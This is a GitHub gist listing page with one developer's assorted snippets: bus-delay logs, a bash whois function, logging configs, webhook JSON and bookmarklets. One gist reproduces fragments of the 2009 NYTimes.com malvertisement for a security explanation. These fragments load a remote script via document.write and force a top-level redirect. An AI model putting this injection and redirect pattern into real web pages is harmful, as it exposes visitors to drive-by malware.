Skip to content

Instantly share code, notes, and snippets.

@troy
troy / Battery at Denny, northbound
Created March 22, 2015 18:12
Towards a graph of Seattle Metro delay by stop and route -- on-time ratings for routes
13944 seconds ago: #16 (NORTHGATE WALLINGFORD) arrived -3454 seconds off.
16632 seconds ago: #5 (SHORELINE GREENWOOD) arrived 54 seconds off.
16005 seconds ago: #E Line (AURORA VILLAGE TRANSIT CENTER) arrived -102 seconds off.
15804 seconds ago: #16 (NORTHGATE WALLINGFORD) arrived 652 seconds off.
14205 seconds ago: #E Line (AURORA VILLAGE TRANSIT CENTER) arrived 76 seconds off.
13032 seconds ago: #5 (SHORELINE GREENWOOD) arrived 135 seconds off.
12705 seconds ago: #E Line (AURORA VILLAGE TRANSIT CENTER) arrived 114 seconds off.
12144 seconds ago: #16 (NORTHGATE WALLINGFORD) arrived 540 seconds off.
11232 seconds ago: #5 (SHORELINE GREENWOOD) arrived -27 seconds off.
10313 seconds ago: #16 (NORTHGATE WALLINGFORD) arrived 322 seconds off.
@troy
troy / bash_fast_whois_checker_function.sh
Created March 21, 2009 19:43
.bashrc 1-character whois. Bash function to check domain name availability; type one character, get one character.
d () {
# see http://troy.yort.com/short-fast-micro-whois
result=`dig -t NS "$1" | grep -c "ANSWER SECTION"`
if [ "$result" = "0" ]; then
# some registered domains have no NS resource record in root servers; may
# be false negative, so confirm with whois
result=`whois -n "$1" | grep -c "Registrar: "`
fi
echo $result
return $result
<!-- part of a security explanation - see
http://www.nytimes.com/2009/09/13/business/media/13note.html and
http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com -->
<html><body style="margin:0; padding:0;">
<script type="text/javascript">
var rightNow = new Date();
var date1 = new Date(rightNow.getFullYear(), 0, 1, 0, 0, 0, 0);
var temp = date1.toGMTString();
// part of a security explanation - see
// http://www.nytimes.com/2009/09/13/business/media/13note.html and
// http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com
document.write(unescape("%3Cscript src='http://" + cur_domain + "/includes02.js' type='text/javascript'%3E%3C/script%3E"));
// part of a security explanation - see
// http://www.nytimes.com/2009/09/13/business/media/13note.html and
// http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com
if (top.location!= self.location) {
top.location = action_URL;
} else {
window.location = action_URL;
}
@troy
troy / 01papertrail.config
Last active December 12, 2015 03:58
Aggregate logs from AWS Elastic Beanstalk instances (Java, PHP, Ruby, etc.) to Papertrail without a custom AMI. (DEPRECATED)
# DEPRECATED
# You probably want one of these newer, better examples:
# http://help.papertrailapp.com/kb/hosting-services/amazon-elastic-beanstalk
# Credits:
# Jason Pirkey, Táve Corporation, http://www.tave.com/
# Jeremy Mickelson, https://github.com/CyborgMaster
# See http://help.papertrailapp.com/kb/hosting-services/amazon-elastic-beanstalk
@troy
troy / phone_call_to_webhook.json
Created March 19, 2010 19:35
Send a Growl, tweet, Jabber IM, or other webhook request from Cloudvox phone call API
[{"name":"onhangup","url":"http://api.notify.io/v1/notify/your_notifyio_id?api_key=your_source_api_key","method":"post","url_options":{"title":"Call","text":"from ${callerid}"}},
{"name":"onhangup","url":"http://watercoolr.nuklei.com/messages","method":"post","url_options":{"channel":"channel_id","message":"Cloudvox call from ${callerid}"}},
{"name":"speak","phrase":"in a moment, all of my notify.io recipients will know you've called. indeed."}]
@troy
troy / bookmarklet.js
Last active May 8, 2018 16:38
Seattle Public Library (SPL.org) search bookmarklet
javascript:(function(){window.open('https://www.spl.org/search?terms='+window.getSelection());})();
@troy
troy / 1_view_in_google_maps_bookmarklet.js
Last active December 11, 2020 14:04
Browser bookmarklet to view a highlighted venue name, highlighted street address, or the place about the current URL in Google Maps (where you can click Save to save it to a list)
javascript:( function() {q = window.getSelection().toString(); if (q.length == 0) {q = window.location.hostname.replace(/^www./,''); if (['instagram.com', 'facebook.com'].includes(q)) {q = window.location.hostname + '/' + window.location.pathname.split('/')[1] } else if (['yelp.com'].includes(q)) { q = document.title.split(' - ')[0] } } window.open('http://maps.google.com?q='+q.trim().replace(/\r\n|\r|\n/g,", ")); }) ();
@troy
troy / oneline_detailed_logging.rb
Created August 10, 2012 02:13
One-line detailed logging for Rails 3 (ActiveSupport::Notifications) and later
# Outputs this at warn log level:
# 1.2.3.4 GET /path 200 OK BlahController#action HTML 938.2 (DB 11.8, View 719.7) {params} {optional params from flash[:log]}
#
# Save as config/initializers/oneline_detailed_logging.rb. Consider
# decreasing the log level from "info" to "warn" (in production.rb) so
# the one-line log message replaces the standard request logs.
# override process_action to add 2 things to the payload:
# - remote IP